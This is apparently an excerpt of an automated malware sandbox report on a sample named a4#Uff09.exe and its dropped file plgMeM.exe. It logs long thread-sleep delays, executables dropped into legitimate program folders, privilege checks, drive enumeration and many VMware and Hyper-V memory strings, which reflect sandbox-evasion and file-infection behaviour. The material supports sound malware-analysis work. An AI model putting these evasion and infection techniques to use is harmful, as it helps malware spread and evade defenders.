                Source: SearchApp.exe, 0000001C.00000003.1467896057.000001F4B4602000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\FIDDLER2\FIDDLER.EXE11126
                Source: SearchApp.exe, 0000001C.00000003.1467896057.000001F4B4602000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\WINDOWS KITS\10\DEBUGGERS\X64\WINDBG.EXE11179
                Source: SearchApp.exe, 0000001C.00000003.1467896057.000001F4B4602000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\WINDOWS KITS\10\DEBUGGERS\X86\WINDBG.EXE12392
                Source: SearchApp.exe, 0000001C.00000003.1467896057.000001F4B4602000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: {6D809377-6AF0-444B-8957-A3773F02200E}\SUPERANTISPYWARE\SUPERANTISPYWARE.EXE11328
                Source: SearchApp.exe, 0000001C.00000003.1467896057.000001F4B4602000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: {6D809377-6AF0-444B-8957-A3773F02200E}\WIRESHARK\WIRESHARK.EXE8327
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread delayed: delay time: 180000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread delayed: delay time: 300000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread delayed: delay time: 360000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread delayed: delay time: 2100000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread delayed: delay time: 2400000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread delayed: delay time: 900000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread delayed: delay time: 600000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeWindow / User API: threadDelayed 6216Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeDropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exeJump to dropped file
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeDropped PE file which has not been started: C:\Program Files\7-Zip\Uninstall.exeJump to dropped file
                Source: C:\Users\user\Desktop\a4#Uff09.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeJump to dropped file
                Source: C:\Users\user\Desktop\a4#Uff09.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\vmgr.exeJump to dropped file
                Source: C:\Users\user\Desktop\a4#Uff09.exeDropped PE file which has not been started: C:\ahcs.pifJump to dropped file
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeDropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exeJump to dropped file
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeEvasive API call chain: GetSystemTimeAsFileTime,DecisionNodesgraph_2-1064
                Source: C:\Users\user\Desktop\a4#Uff09.exeCheck user administrative privileges: GetTokenInformation,DecisionNodesgraph_0-10286
                Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 3872Thread sleep time: -120000s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 5128Thread sleep time: -180000s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 360Thread sleep time: -139776s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 4812Thread sleep time: -300000s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 3040Thread sleep time: -350000s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 4040Thread sleep time: -80000s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 7068Thread sleep time: -420000s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 7068Thread sleep time: -35000s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 3180Thread sleep time: -1440000s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 3180Thread sleep time: -480000s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 5128Thread sleep time: -25200000s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 4812Thread sleep time: -28800000s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 2892Thread sleep time: -24300000s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 5196Thread sleep time: -143360s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 4840Thread sleep time: -100000s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 6336Thread sleep time: -600000s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 360Thread sleep time: -3182592s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 4788Thread sleep time: -922337203685477s >= -30000sJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exe TID: 4084Thread sleep time: -922337203685477s >= -30000sJump to behavior
                Source: C:\Windows\System32\sihost.exe TID: 1260Thread sleep time: -32000s >= -30000s
                Source: C:\Windows\System32\dllhost.exeFile opened: PhysicalDrive0Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeCode function: 2_2_00DB1718 GetSystemTimeAsFileTime followed by cmp: cmp dword ptr [ebp+08h], 02h and CTI: jne 00DB1754h2_2_00DB1718
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 0_2_029DBADD Sleep,lstrcat,lstrcpy,CharLowerA,lstrcat,FindFirstFileA,FindNextFileA,Sleep,lstrlen,lstrcat,lstrlen,CharUpperA,lstrlen,lstrcmpiA,lstrcmpiA,lstrcpy,lstrlen,lstrcmpiA,FindClose,Sleep,0_2_029DBADD
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 0_2_029D57A0 GetTempPathA,lstrlen,lstrcat,lstrlen,lstrcpy,lstrcat,FindFirstFileA,FindNextFileA,lstrcat,lstrlen,lstrlen,lstrcmpiA,lstrcmpiA,Sleep,FindClose,Sleep,RtlExitUserThread,0_2_029D57A0
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeCode function: 2_2_00DB29E2 memset,wsprintfA,memset,lstrlen,lstrcpyn,strrchr,lstrcmpiA,lstrlen,memset,memset,FindFirstFileA,memset,FindNextFileA,lstrcmpiA,FindNextFileA,FindClose,2_2_00DB29E2
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeCode function: 2_2_00DB2B8C memset,GetLogicalDriveStringsA,CreateThread,GetDriveTypeA,CreateThread,lstrlen,WaitForMultipleObjects,CreateThread,2_2_00DB2B8C
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread delayed: delay time: 120000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread delayed: delay time: 180000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread delayed: delay time: 300000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread delayed: delay time: 360000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread delayed: delay time: 2100000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread delayed: delay time: 2400000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread delayed: delay time: 900000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread delayed: delay time: 600000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeFile opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeFile opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeFile opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeFile opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeFile opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeFile opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\Jump to behavior
                Source: SearchApp.exe, 0000001C.00000003.1489396047.000001F4B4524000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *|edi1*|ferramenta de captura*|snap5483*|file explorer*|window explorer9704*|excel 2016*|microsoft office10578*|ey reserve coordinator*|ems1*|file explorer*|file exploreer10143*|excel 2016*|microsoft excel9003*|file explorer*|file exploere9983*|ff logs uploader*|fflogs3892*|word 2013*|microsoft office9763*|excel 2016*|spreadsheet10538*|ferramenta de captura*|cut4283*|ferramenta de captura*|snipping5703*|word*|ms word:wux:ms word7930*|file explorer*|windows file explorer10338*|file explorer*|open files10130*|file explorer*|file manager7582*|file explorer*|open file explorer10603*|ferramenta de recorte*|snip2582*|family tree maker 2017*|ftm2392*|fallout mod manager*|fomm1397*|ferramenta de captura*|tool5685*|file explorer*|download folder8748*|file explorer*|windows exploer10635*|file explorer*|file exployer10367*|file explorer*|file exporer10159*|ferramenta de captura*|print4819*|file explorer*|fileexplorer9873*|file explorer*|file explorere9099*|wireless network watcher*|wnet2768*|windows server update services*|wsus229*|game jolt client*|gamejolt1800*|geforce experience*|nvidia geforce9228*|windows powershell*|powerhell9633*|geforce experience*|shadowplay6617*|windows security*|defender:wux:defender2418*|windows powershell ise*|powershell_ise6386*|windows powershell*|powrshell9179*|windows powershell*|powersell9085*|windows powershell*|poershell9158*|windows powershell*|poweshell7662*|windows powershell*|pwoershell8734*|windows powershell*|powreshell10050*|windows powershell*|powersehll8879*|windows powershell*|powershelll9253*|windows powershell*|powershll9985*|windows powershell ise*|azure7638*|windows powershell (x86)*|power shell1355*|windows powershell*|powerhsell7882*|windows powershell*|poewrshell9816*|final fantasy xiv*|ffxiv3810*|firealpaca64*|fire alpaca5826*|windows powershell*|powersj8692*|firefox*|mozilla firefox10005*|file explorer (1)*|files2713*|firefox developer edition*|moz4653*|firstobject xml editor*|foxe1542*|free download manager*|fdm2454*|freecell collection free*|free cell4775*|windows powershell*|pwershell8719*|windows powershell*|powersher10074*|freight assistance system technology*|fast1*|g.skill trident z rgb*|gskill2135*|geforce experience*|gefi9192*|get help*|contact support4845*|generic trace viewer 2.1.1*|gtv1*|global vpn client*|sonicwall5552*|google chrome*|gogole chrome12596*|geforce experience*|nvida6101*|google chrome*|open google chrome12094*|google chrome*|googel chrome12541*|google chrome*|google chorme11432*|google chrome*|google chroem12365*|google chrome*|googe chrome13035*|geforce experience*|gefroce8074*|get help*|microsoft support4307*|google chrome*|google chrme12854*|geforce experience*|geoforce8821*|google chrome*|google crhome13085*|geforce experience*|gefp9179*|google chrome*|goggle chrome11902*|google chrome*|gogle chrome12063*|googl
                Source: SearchApp.exe, 0000001C.00000000.1513168056.000001F49DA00000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1466055672.000001EC9A57D000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1462904696.000001EC9A1D4000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: var fbpkgiid = fbpkgiid || {}; fbpkgiid.page = '';;(function(BingAtWork) { if (typeof (bfbWsbTel) !== "undefined") { BingAtWork.WsbWebTelemetry.init({"cfg":{"e":true,"env":"PROD","t":"33d70a864599496b982a39f036f71122-2064703e-3a9d-4d90-8362-eec08dffe8e8-7176"},"ig":"751E9D17E4CD42EBAA6AE59A6ED5C22A","ConversationId":"5eff9dee-03ff-465e-bf2b-c48d3d202d68","LogicalId":"33366b5b-54ef-48bf-819d-677748eae9e3","tid":"651e6ab87a454702b15a8b0357a081d8","sid":"0017FC1997EE65330FCEEFB896C06426","uid":"","muid":"A92BA4E78D2946A0AFDA5029FA43D7A8","puid":null,"isMtr":false,"tn":null,"tnid":null,"msa":false,"mkt":"en-us","b":"edge","eref":"Ref A: 651e6ab87a454702b15a8b0357a081d8 Ref B: MWHEEEAP0024FD7 Ref C: 2023-10-05T07:50:16Z","vs":{"BAW10":"BFBLCLAZYCF","BAW11":"MSBSSVLMCF","BAW5":"MSBCUSTNONALL","BAW7":"BFBPROWSBINITT1","BAW9":"BCEPREC","CLIENT":"WINDOWS","COLUMN":"SINGLE","FEATURE.BFBCREFINER":"1","FEATURE.BFBLCLAZYCF":"1","FEATURE.BFBPROWSBINIT":"1","FEATURE.BFBPROWSBINITT1":"1","FEATURE.BFBWSBCM0921CF":"1","FEATURE.MSBCUSTNONALL":"1","FEATURE.MSBSSVLMCF":"1","FEATURE.MSNSBC2":"1","FEATURE.WSBREF-T":"1","MKT":"EN-US","MS":"0","NEWHEADER":"1","THEME":"THBRAND","UILANG":"EN"},"dev":"DESKTOP","os":"WINDOWS","osver":"11","dc":"CoreUX-Prod-MWHE01","canvas":"","sci":true,"isMidgardEnabled":true,"isHomepage":false,"snrVersion":"2023.10.04.39971431"}); } })(BingAtWork || (BingAtWork = {}));;_w.rms.js({'A:rms:answers:BoxModel:Framework':'https:\/\/r.bing.com\/rb\/18\/jnc,nj\/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=w'});;
                Source: explorer.exe, 00000010.00000002.3744492980.0000000000C74000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000I
                Source: svchost.exe, 0000000C.00000000.1330952171.0000018CE72A9000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@os=windows; osVer=10.0.19045.2006; lcid=en-GB; deviceType=9; deviceModel=VMware, Inc./VMware20,1;n
                Source: SearchApp.exe, 0000001C.00000000.1495860385.000001F49C520000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: hyper-v
                Source: explorer.exe, 00000010.00000000.1368434403.0000000008DFE000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: BBSCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
                Source: dwm.exe, 00000008.00000000.1282999485.00000262ED7EF000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: dRomNECVMWarVMware_SATA_
                Source: SearchApp.exe, 0000001C.00000003.1467896057.000001F4B4602000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: {6D809377-6AF0-444B-8957-A3773F02200E}\Hyper-V\VMCreate.exe10779
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp, plgMeM.exe, 00000002.00000002.1372427561.00000000015FA000.00000004.00000020.00020000.00000000.sdmp, plgMeM.exe, 00000002.00000003.1283746578.00000000015FA000.00000004.00000020.00020000.00000000.sdmp, plgMeM.exe, 00000002.00000002.1372427561.000000000158B000.00000004.00000020.00020000.00000000.sdmp, plgMeM.exe, 00000002.00000003.1284559369.00000000015CF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000000.1339670855.000001D959FA5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1368434403.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.4098690958.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.3076107312.0000000008F4D000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                Source: SearchApp.exe, 0000001C.00000000.1512906985.000001F49D9E6000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: s://r.bing.com/rb/18/jnc,nj/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=w
                Source: explorer.exe, 00000010.00000003.2276340594.0000000003267000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware, Inc.VMW201.00V.20829224.B64.221121184211/21/2022
                Source: SearchApp.exe, 0000001C.00000000.1495860385.000001F49C520000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: hyper-vOs and f
                Source: SearchApp.exe, 0000001C.00000003.1467896057.000001F4B4602000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware.Workstation.vmui7769
                Source: dwm.exe, 00000008.00000000.1282999485.00000262ED7EF000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
                Source: explorer.exe, 00000010.00000000.1368434403.0000000008DFE000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}e
                Source: a4#Uff09.exe, 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: oC&pCVMWareWindows Virtual PCda
                Source: explorer.exe, 00000010.00000003.3076107312.0000000008F4D000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000I}~"
                Source: explorer.exe, 00000010.00000003.2277407283.0000000009052000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000}io
                Source: SearchApp.exe, 0000001C.00000003.1489396047.000001F4B4524000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *|vmware horizon client*|vm ware8394
                Source: explorer.exe, 00000010.00000003.3076107312.0000000008F4D000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware SATA CD00
                Source: explorer.exe, 00000010.00000003.2276340594.0000000003267000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware20,1
                Source: explorer.exe, 00000010.00000003.2277100746.0000000007306000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: War&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
                Source: explorer.exe, 00000010.00000000.1368434403.0000000008F27000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.4098690958.0000000008F27000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.3076107312.0000000008F27000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWT`
                Source: explorer.exe, 00000010.00000003.2276340594.0000000003267000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware SVGA IIES1371
                Source: explorer.exe, 00000010.00000003.2276340594.0000000003267000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware Virtual RAM
                Source: SearchApp.exe, 0000001C.00000003.1489396047.000001F4B4524000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *|vmware workstation 12 player*|vmpl5459
                Source: SearchApp.exe, 0000001C.00000003.1460148412.000001F4B46B2000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *|*|vmware6886
                Source: SearchApp.exe, 0000001C.00000003.1594523625.000001F4B4640000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000003.1489983652.000001F4B46B2000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000003.1460148412.000001F4B46B2000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *|hyper-v manager*|vm4595
                Source: SearchApp.exe, 0000001C.00000003.1466362666.000001F4B3B02000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1488876866.000001F49B784000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: |*|qemu10642
                Source: explorer.exe, 00000010.00000003.2276340594.0000000003267000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
                Source: explorer.exe, 00000010.00000000.1368434403.0000000008DFE000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
                Source: SearchApp.exe, 0000001C.00000003.1489396047.000001F4B4524000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *|vmware horizon client*|vmare7220
                Source: RuntimeBroker.exe, 0000001A.00000000.1432118551.00000269FFA58000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
                Source: SearchApp.exe, 0000001C.00000003.1467896057.000001F4B4602000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware.Horizon.Client8097
                Source: SearchApp.exe, 0000001C.00000003.1489396047.000001F4B4524000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *|vmware workstation 15 player*|vmplayer6438
                Source: svchost.exe, 0000000C.00000000.1330952171.0000018CE72A9000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@os=windows; osVer=10.0.19045.2006; lcid=en-GB; deviceType=9; deviceModel=VMware, Inc./VMware20,1;
                Source: explorer.exe, 00000010.00000003.2276340594.0000000003267000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware, Inc.
                Source: SearchApp.exe, 0000001C.00000003.1594523625.000001F4B4640000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000003.1489983652.000001F4B46B2000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000003.1460148412.000001F4B46B2000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *|*|qemu10642
                Source: SearchApp.exe, 0000001C.00000000.1497800210.000001F49D60D000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1466332699.000001EC9A5C0000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: https://r.bing.com/rb/18/jnc,nj/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=w
                Source: svchost.exe, 0000000C.00000000.1330952171.0000018CE72A9000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @os=windows; osVer=10.0.19045.2006; lcid=en-GB; deviceType=9; deviceModel=VMware, Inc./VMware20,1;nlse]
                Source: explorer.exe, 00000010.00000003.2276340594.0000000003267000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware, Inc.NoneVMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9dVMware20,1
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWNZU&
                Source: SearchApp.exe, 0000001C.00000003.1594523625.000001F4B4640000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000003.1489983652.000001F4B46B2000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000003.1460148412.000001F4B46B2000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *|hyper-v manager*|hyperv4178
                Source: SearchApp.exe, 0000001C.00000003.1594523625.000001F4B4640000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000003.1489983652.000001F4B46B2000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000003.1460148412.000001F4B46B2000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000003.1489396047.000001F4B4524000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *|hyper-v manager*|virtual5441
                Source: explorer.exe, 00000010.00000003.2276340594.0000000003267000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware SVGA II
                Source: dwm.exe, 00000008.00000000.1282999485.00000262ED7EF000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Bus\0000SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000PCI\VEN_8
                Source: explorer.exe, 00000010.00000003.2277100746.0000000007306000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: War&Prod_VMware_xU1
                Source: SearchApp.exe, 0000001C.00000003.1467896057.000001F4B4602000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware.Workstation.vmplayer8211
                Source: SearchApp.exe, 0000001C.00000003.1466362666.000001F4B3B02000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware.View.Client12451
                Source: svchost.exe, 0000000C.00000000.1330888653.0000018CE728E000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1451350516.000001EC94D72000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                Source: SearchApp.exe, 0000001C.00000003.1467896057.000001F4B4602000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\VMware\Infrastructure\Virtual Infrastructure Client\Launcher\VpxClient.exe8601
                Source: SearchApp.exe, 0000001C.00000003.1467896057.000001F4B4602000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\VMware\VMware Workstation\vmnetcfg.exe12004
                Source: SearchApp.exe, 0000001C.00000000.1565581389.000001F4AEDB0000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: yexcelneroonenotelyncvmware:wux:itunesvisio&#xEF87binPT.vssxx86amd64objdFEHobjLRA.psd.dwg.ai
                Source: SearchApp.exe, 0000001C.00000003.1489396047.000001F4B4524000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *|vmware vsphere client*|vspe6388
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000DEE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWP
                Source: SearchApp.exe, 0000001C.00000003.1467896057.000001F4B4602000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: AirWatchLLC.VMwareWorkspaceONE_htcwkw4rx2gx4!App11496
                Source: explorer.exe, 00000010.00000003.3076107312.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.4098690958.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1368434403.0000000008DFE000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWystem32\DriverStore\en-US\machine.inf_loc5
                Source: SearchApp.exe, 0000001C.00000003.1489396047.000001F4B4524000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *|vmware horizon client*|vdi3894
                Source: SearchApp.exe, 0000001C.00000003.1594523625.000001F4B4640000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000003.1489983652.000001F4B46B2000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000003.1460148412.000001F4B46B2000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000003.1489396047.000001F4B4524000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *|hyper-v manager*|hyper v4919
                Source: SearchApp.exe, 0000001C.00000003.1489396047.000001F4B4524000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *|chrome655*|google play music*|google music3025*|heroes of the storm*|heros4494*|hourly analysis program 4.91*|hap1*|hourly analysis program 4.90*|hap375*|hourly analysis program 5.10*|hap1*|herramienta recortes*|sni2296*|hp scan and capture*|hpscan6530*|hp support assistant*|hp ass4184*|hp support assistant*|hps5179*|hpe unified functional testing*|uft1*|google chrome*|google.com6973*|hearts of iron iv man the guns*|hoi42522*|groove music*|music library8480*|hyper-v manager*|virtual5441*|groove music*|play music6857*|hourly analysis program 4.80*|hap1*|gotomeeting*|go to meeting7076*|hpe records manager*|trim1399*|idle (python 3.7 32-bit)*|idel6028*|internet download manager*|idmm8541*|ibm integration toolkit 10.0.0.13*|iib1*|import passwords*|lastpass1242*|internet explorer*|interenet explorer12754*|ibm integration toolkit 10.0.0.12*|iib1*|income tax planner workstation*|bna1*|internet download manager*|idman7834*|internet download manager*|id,7596*|image composite editor*|ice852*|ibm integration toolkit 10.0.0.7*|iib403*|internet download manager*|ine9116*|internet download manager*|idn6970*|internet download manager*|
                Source: SearchApp.exe, 0000001C.00000003.1467896057.000001F4B4602000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\VMware\VMware vCenter Converter Standalone\converter.exe12207
                Source: explorer.exe, 00000010.00000003.2276340594.0000000003267000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware Virtual RAM00000001VMW-4096MBRAM slot #0RAM slot #0
